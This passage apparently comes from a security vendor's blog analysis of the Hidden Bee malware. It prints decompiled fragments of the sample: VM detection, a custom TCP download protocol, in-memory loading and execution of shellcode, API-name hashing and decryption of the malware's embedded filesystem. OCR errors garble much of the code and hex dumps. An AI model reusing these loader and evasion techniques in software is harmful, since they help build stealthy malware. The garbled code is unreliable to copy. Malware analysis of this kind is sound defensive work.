116 || (id3 = decode_memory(&unk_243505C), ((int (_ thiscall *)(int, WCHAR *, BYTE *))StrStrIA)(v2s, Buffer, id3))) )// "76487-337-8429955-22614"
17| {

118|set_wm_flag:

1149 vm_detected = 13

128 3}

121| else

122

123 |not_detected:

124 wvm_detected = 0;

125

126| return vm_detected;

127[}

Detection of any of the features suggesting a VM results in termination of the component.

Downloading new modules
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https://blog.malwarebytes.com/wp-content/uploads/2019/08/check_reg_keys.png

The next elements of HiddenBee are downloaded over the custom “STLP” protocol.

a2434984 pop ECK
22434985 test eax, eax
@82434987 paop ecx
82434988 jnz loc 2434AD0

B24348F6 lea eax, [ebptvar_48]
B24348F9 push offset asSltp
B24348FE push eax

B24345FF call j_strcomp

The raw TCP socket created to communicate using the SLTP protocol:

LOWORD(v27) = htons(hostshort[@]);
socket = WSASocketA(2, 1, @, ®, @, 1lu); //

vB[13] = socket;
if ( socket != -1 )

{

The communication is encrypted. We can see that the expected output is a shellcode that is

vInBuffer = @x25A20789;
BxDDF3u;
BxdE68;
BxBEuU;
BxEQu;
Bx76;
BxESuU;
BxBCuj;
Bx74;

6;

Bx3E;

-
VIZ
3

oy

W W

» 3 WO 0d =] v N

P

address family: 2 (AF_INET)
type: 1 (SOCK_STREAM)

protocol : @ (unspecified)
1pProtocolInfo: NULL

group: NULL

flags: 1 (WSA FLAG_OVERLAPPED)

if ( BindIoCompletionCallback(sccket, LpoverlappedCompletionRoutine, 8) )

{

callback = @;

if { WSAToctl{ve[13], @xCE0aee86, &vInBuffer, Ox1®u, &callback, 4u, (LPDWORD)&cbBytesReturned, @, @) I= -1 )

{

*(_DWORD *)name.sa_data = @;

*(_DWORD *)&name.sa_data[4]
*{_DWORD *)&name.sa_data[8]
*{_WORD *)&name.sa_data[12]
VIE = 23

va[13];
name.sa_family = 2;

*(_WORD *)name.sa_data = @;
*(_DWORD *)&name.sa_data[2]

w9
Wile

if ( bind(v1z, &name, 16) !'= -1 )

j_memset((int)ve, @, 28);

a;

if ( !'callback(vs[13], &v26, 16, @, @, &cbBytesReturned, vi) && WSAGetlLastError() == @x3ES )

return 1;

¥
¥

closesocket(vE[13]);

loaded and executed:
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w6 = *(wd - 1};
if ( ve + *v4 > a2 )

custom_fs = & buffer[ve];

else

if ( *(v4 - 1) + *v4 > a2 )

break;
new_module = (void (_ stdcall *)(int (__ stdcall **)(int), _BYTE *, DWORD))VirtualAlloc(@, *v4, Ox1686u, 9x48u);
if ( new_module )

j_memcpy({int)new_medule, (int)& buffer[*(v4 - 1)], *v4);

+buffera;
4 += 3;

while ( (unsigned int)buffera < *((_DWORD *) buffer + 1) );
if ( new_medule )
{

if { custom _fs )

to_malloc;

= (int (_ stdcall *)(int))to_memcpy;

= to_free;

= *{int (_ stdcall **)(int))VirtualAlloc;

= *{int (_ stdcall **)(int))VirtualFree;
decode_memory(&input_arr); /f "IwQueryInformationProcess™

v7 = decode_memory(&str_ntdll dll);
v8 = GetModuleHandleA(v7);

functions_list[5] = (int (_ stdcall *)(int))GetProcAddress{vE, v9);// IwQueryInformationProcess
new module(functions list, custom_fs, fs_size);
VirtualFree(new moduls, @, 8x8086u);
¥
1

The way in which it is loaded reminds me of the elements we described recently in “Hidden
Bee: Let’'s go down the rabbit hole®. The current module loads a list of functions that will be
passed to the next module. It is a minimalistic, custom version of Import Table. It also passes
the memory with the downloaded filesystem to be used for further loading of components.

The Ircx package

This element retrieves the custom filesystem used by this malware. As we know from
previous analysis, Hidden Bee uses its own, custom filesystems that are mounted in the
memory of the malware and passed to its components. This filesystem is important for the
execution flow because it contains many other components that are supposed to be installed
on the attacked system in order to continue the infection.

As mentioned before, unpacking the JPG gave us an Ircx package. After this package is
downloaded, and its SHA256 checksum is validated, it is repackaged. First, at the end of the
Ircx package, the list of URLs (JPG, PNG) from the previous module is copied. Then, the
ARIA key is copied. The size of the module and its SHA256 hash are updated. Then, the
execution is redirected to the first stage shellcode fetched from the !rcx.
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https://blog.malwarebytes.com/wp-content/uploads/2019/08/load_new_module-1.png
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This shellcode was the one that we saw at first, after decoding the Ircx package from the
JPG. Yet, looking at this part, we do not see anything malicious. The elements that are more
important are well protected and revealed at the next execution stages.

The shellcode from the !rcx package is executed in two stages. The first one unpacks and
prepares the second. First, it loads its own imports using hardcoded names of libraries.

eaaBBE1L sub edi, ecx

BREEBEE3 mov [ebp+var_4C], GBIl k'
BREE2EE9 mov [ebp+var_44], &5 =
BBEBBEEF mov [ebpt+var_48], 72I r'
\BEBBBCS mov [ebp+var_46], EEl 'n'
2eeRRBCE mov [ebp+var_44], &5l 'e!
|eeaaall mov [ebpt+var_48], 23 '3
epaeea07 mov [ebptvar_3E], 32 2"
282600 mov [ebptvar_3C], 2El L
BREEBAES mov [ebptvar_34], &4 d"
BREEBRET mov [ebp+var_18], E&EIl 'n'
BBBBBBEF mov [ebpt+var_18], ?i- "t
PBBBBAFS mov [ebp+var_14], &4 d'
PBEBBAFE mov [ebp+var_E], Z2E '.'
|eeRalel mov [ebpt+var_C], &4 d'
epaea187 mov ebx, [esi]

The checksums of the functions that are going to be used are stored in the module and
compared with the names calculated by the function:

llunsigned int _ stdcall calc checksum( BYTE *func_name)
2lf
3| _BYTE * func_name; [/ edx
4| unsigned int checksum; [/ eax
5| char next_char; f/ cl
6| wunsigned int prev_res; // esi
7| int _next_char; /Jf eax
a
9| _func_name = func_name;
18| checksum = 8; The checksum calculation
11| for ( next char = *func_name; next char; ++ func_name }
12| {
13 prev_res = (checksum »>> 13) | (checksum << 19);
14 _next_char = next_char;
15 next_char = _func_name[1];
16 checksum = prev_res + _next_char;
17| }
18| return checksum;
133
algorithm

It uses the functions from kernel32.dll: GetProcessHeap, VirtualAlloc, VirtualFree, and from
ntdll.dll: RtlAllocateHeap, RtlFreeHeap, NtQuerylnformationProcess.

The repackaged !rcx module is supposed to be supplied as one of the arguments at the
Entry Point of the first shellcode. It is most important because the second stage shellcode
will be unpacked from the supplied !rcx package.
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bl s

BBEBE199 mov ebx, [ebptarg_C]

8p0e019C mov ecx, [ebx+4] Checking the !rcx magic (first stage shellcode)
|eeRa1oF cmp dword ptr [ecx], eert

|eepalAs jnz loc_28B

1
A new memory area is allocated, and the second stage shellcode is unpacked there.

new_module _ep = @;

vl5 = GetProcessHeap(8, *({_BYTE **}i + 2});
vl6 = {_BYTE *)RtlAllocateHeap(vls);

indx = @;

if ( *((_DWORD *)i + 2) > @u )

vid = i + 16 - vi6;

w16 v16[v18] ~ @xEl;
+Hvlb;

while ( indx < *({_DWORD *}i + 2} )};

_To_rcx_ptr = To_rcx_ptrj

allocated_bufl = (unsigned _ intl6 *)_allocated_bufl;
if ( decode_module(
(int)&virtualilloc,// loaded_functions_list
{int)buffer,
*((_DWORD *)i + 2},
{int}_allocated_bufl,
F((_DWORD *)i + 3)) == *((_DWORD *)i + 3) )
new_module ep = allocated_buflj;
v2@ = GetProcessHeap(@, buffer);
RtlFreeHeap(v2@};
if ( new_medule ep )
((woid (_ stdcall *)(int (_ stdcall **)({_DWORD, _DWORD, signed int, signed int), int, _DWORD, _DWORD))}new medule ep)(
&virtualalloc, // loaded_functions_list
flag,
_to_rcx_ptr[1],
* to_rcx_ptr);
1

result = (unsigned __intl16 *)VirtualFree(_allocated_bufl, @, ©x8660);

Decoding and calling next module

Inside the second shellcode, we see strings referencing further components of the Hidden
Bee malware:

/bin/i386/preload
/bin/i386/coredll.bin

The role of the second stage is unpacking another part from the Ircx: an Irdx package.
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if (_de_pt’ )_I

v32 = v1e[3];
crypt_init(&crypt ctx, &crypt_ keybuf);
dec_size = @;
if ( wvie[2] )
1
chunk_ptr =
for ( 1 = (i
1
crypt_round(chunk_ptr, &chunk ptr[i], (int)&crypt_ctx);
dec_size += 16;
chunk_ptr += 16;
if { (unsigned int}dec_size »= v1B[2] )
break;
}

rdx_ptr = _rdx_ptr;

(_BYTE *}sizea;
n

1
if { decompress({int)}functicons_list, (int)rdx_ptr, &vw32, sizea, v18[2])} )
goto LABEL_38;

vl? = ((int (_ stdcall *)(signed int, signed int))}functions list[2]}(8&, 12};
w18 = ( DWORD *}((int (_ stdcall *)(int))functions list[3]}{v17};

v34 = v18;

if { Ivis )

goto LABEL 38;
*v1l8 = rdx_ptr;

if ( *rdx ptr == ‘kdr!" )

v18[1] = rdx_ptr + 1;
vig[2] = vie[3];
1

Ll e 55

eeesasly mov [eax], ebx . | .
0B0BEE1E cmp dword ptr [ebx], 'xdr!’ Checking the Irdx magic (second stage

eepe8621 jnz short loc 631
1

shellcode)

From our previous experience, we know that the Irdx package is a custom filesystem
containing modules. Indeed, after the decryption is complete, the custom filesystem is

revealed:

E}{{cha’ *yle - sizea + 16); ; 1 = (int){{char *)v1® - sizea + 16} )
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BEHEEASEA FUSH ERX
BESEESE L CALL AASEZESE crupt_init
BHESHEES AHD DWORD PTE SS: [EEFP+E=C], G:&
BESSEEER CHF DWORD PTR DS: [ESI+ExS], =@
BESEESEE |~ | JEE SHORT BBSEESFZ2

BESSESCE May EBEX,.OWORD PTR S5: CEEF+@=16]
BESEEECS LEA ERX,OWORO PTR DS5:CESI+@x1E]
BEHSEESCE SUE ERX,EBX

BEHSERSCE MOL OWORD FTE S5: [EEF+E-21,ERX
FESEEECE [~ | JMP SHORT BBS&HES0OA

BEHESEECD MaL ERX, OWORD FTR S5: CEEF+E-51]
BESSEAE0E LEA ECH.DOWORD PTR 55:[EEP-8:=15C1]
BESEESOE AOD ERAX, EBX

BESSESOE FUSH ECH

BEESESOT FUSH ERH

BESEESOA FUSH EBX

BEHSEASOE CALL AASEZ19Z2 crupt_round
BESEESER AOD OWORD PTR SS:[CEEP+BHC]. @:18
BHESHEES AOO EBX, & 16

BESSEAEET HMal ERX, OWORD FTR S5: CEEF+&=C]
BESEESER CHMF ERX,0OWORD FTR DS: [ESI+ExS]
BESSESED [~ | JE SHORT @BSSESCO

BESSESEF Mol EBEX, OWORD PTR S55: CEEF-B=51
BESEESF 2 FUSH OWORO PTR DOS5: [ESI+ERE]
BEHSERSFS LEA ERX.OWORD PTR S5:[EEF-8:2C]
BESEEEFS FUSH DWORD PTR S5: [EBP+&:1481]
BEHSSHEFE FUSH ERX

BESSEEFT FUSH EEX

FESSESED FUSH EDI

CALL HBSEE&as

fa]sk TEST ERH,ERA

BES v |JHZ SHORT BESEEEHE

BEHSEREET FUSH &uC

AHSEHEED FUSH @uz

CHLL DHERD FTR DOS5: [EDI+Ex21 kernel32. GetProcessHeap

I I Tl L me e

4
ERX=BEERRRAR

Address |Hex dump RSCIT
BlglEE4s[ 21 72 64 FE 22 B0 OB BA ED Bl OB B@ 288 86 AR Ba| frde™. .. 7E. . Ce, .,
AlsleEts( 62 69 6E 2F 69 33 35 36 2F ¥B 72 65 6C &6F &1 64| bins i386-pre load
B121EEEE|( B8 BE 45 B8 B8 BE &0 B2 B8 6O BE 2C A1 8@ &2 &9 .. .E...rl0...,8.bi
n-amdéd coredl L,
S1EESE[ 62 &9 SGE B8 BB &4 OE B8 B8 &0 24 81|88 B0 B9 88| bin..d...md8,
S1Eass|(ee 62 &9 6E 2F &1 &0 &4 26 34 2F 7@ 72 &5 &C &F bln/amd64/Dreln
S1GEAZ|61 64 BA BA 7 69 A9 B8 60 30 B1 GA 1@ AS PG BE| ad. FE-T U T
SlEEES|[ 62 &9 GE 2F &9 32 28 26 2ZF 6B 7O 6C 6F &1 &4 &5 bin/lBSG/leDade
S1AECE|(F2 ZE 62 69 6E BE BE A9 B8 B0 BE 70O 42 81 B8 88| r.bin..e... B8,
18E0E| 1IC A8 BE 62 69 6E 2F 61 60 &4 36 34 2F 63 &F 60| ..binsamdéd-com
16EES| 6D 6F 6E 2E &4 EC &C BE B@ CE A8 BA @8 70 SE @1 | mon.dll..F... 68
1EEFS| 38 BE 45 B@ B8 &2 &9 S6E 2F &9 23 38 26 2F 6B &6C|..E..bin~ig86-kl
16162 6F 61 64 65 72 2E 62 £9 6E B8 BE EG 6B 08 B8 70| oader bin. . f...2
16112/ A2 81 BB &5 87 86 BE &2 &9 6E 2F 73 &8 &9 &0 ZE|dB.h-..bin-shim.
1812562 &9 6E B@ B8 B7Y Gl B8 B8 ES AR 81 88 26 66 88| bin..-A..0 B.0..
@ls9| @8 62 &9 6E 2F &1 &0 &4 36 34 2F v@ 72 ZE &2 69 .bLn/amd64/Dr Bi
142/ 6E 2E 73 69 67 B8 A8 25 A1 B8 A8 &5 AB A1 A8 20| n.sig..(B..e88.C
1552|868 @@ @8 &2 &9 6E 2F &9 33 38 36 ZF ¥@ 72 ZE 62| ...bins 1886 pr.b
%68 E9 BE 2E F3 69 E7 A0 0@ 45 A1 @@ @@ ES AB Al @A) in.sig..FA. . i@,
1
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:

B172(E8 BR BB 88|62 69 oE ZF |6l 60 &4 26 34 2F 78 72| ....binsamded pr
B122[2E &2 &9 GE| B8 BE &2 G168 B8 ES BS @1 88 BB 02| .bin..cl. . A, .0
A193(@8 B8R &2 &3 E6E 2F &9 2338 36 2F 7@ 72 2E &2 &9 ..bin~i286 pr.bi
B1IAZ(6E BB AR 27|61 B8 BB ES BD 81 00 F@ 85 88 B8 &2\ n..cl..h268.-4..b
G1EZ(e? 6E 2F £1|6D 64 36 24| 2F 6B 7O &L &F &1 &4 65| insamdéd-kploade
BICE| 72 2E &2 62| 6E B8 BB A3 A1 B8 68 05| C3 81 60 68| r.bin..EB.. A ..
A10Z( 16 B8 BB 62|62 6E 2F &2 33 38 36 ZF 63 6F &0 60| ...bin- 1386 Ccomm
BIEZ|6F 6E 2E &4|EC 6C BB B3| CH 81 B0 @8 05 09 01 68|on.dll. . =6, . A,
BIFZ|BE 2E O1 BB 62 &9 &E 2F 69 23 22 36 2F &2 &F 72|..@.bin~s i35 cor
E2E2( 65 &4 &C GC|2E 62 &9 SE|BE BB OO 0@ B8 B8 D5 OF|edll.bin...... A=
1E212(82 a8 26 52 68 B8 &2 &9 6E 2F &1 &0 &4 26 24 2F | w.CH..bin-andéds
1e222( 6B 6C &6F &1 64 65 72 ZE &2 69 &6E OB B8 23 298 9@ Eénader bin..EEE

SlEz242( 88 B8 00 58 88 88 00 08 B8 88 00 88 B8 6B 08 S5 ..iieeesnaaaks
SlEz253( 88 72 B8 6E| 88 65 BB &C| 88 33 BB 32/ 88 2E B8 &4 .r.n.e. 1.3, 2...d
1216268 BA 6C B8 &6C BB BB @3 BES AR HH AR AR FF 28 FF S@(.1.l...%5 A F
Ai21AZ72| B4 FF ER S5 OB CC OB OB S92 EQ @2 52 51 GO EZ 7O+ 044l d57@R0PR:
Bi216282) 82 BB @@ C2 55 BB EC 82 EC OC 2B 45 82 29 45 FC|e.. HUodad. GEAEER

So the part that was hidden in the JPG is, in reality, a package that decrypts the custom
filesystem and deploys the next stage modules: /bin/i386/preload and

/bin/i386/coredll.bin . This filesystem has even more elements that are loaded at later
stages of the infection. Their full functionality will be described in the next article in our
series.
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Even more hidden
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From the beginning, Hidden Bee malware has been well designed and innovative. Looking at
one year of its evolution, we can be sure that the authors are serious about making it even
more stealthy—and they don’t stop improving it.

Although the initial dropper uses components analogous to ones observed in the past,
revealing their encrypted content now takes many more steps and much more patience. The
additional difficulty in the analysis is introduced by the fact that the URLs and encryption
keys are never reused, and work only for a single session.

The team behind this malware is skilled and determined. We expect that the Hidden Bee
malware won’t be going extinct anytime soon.
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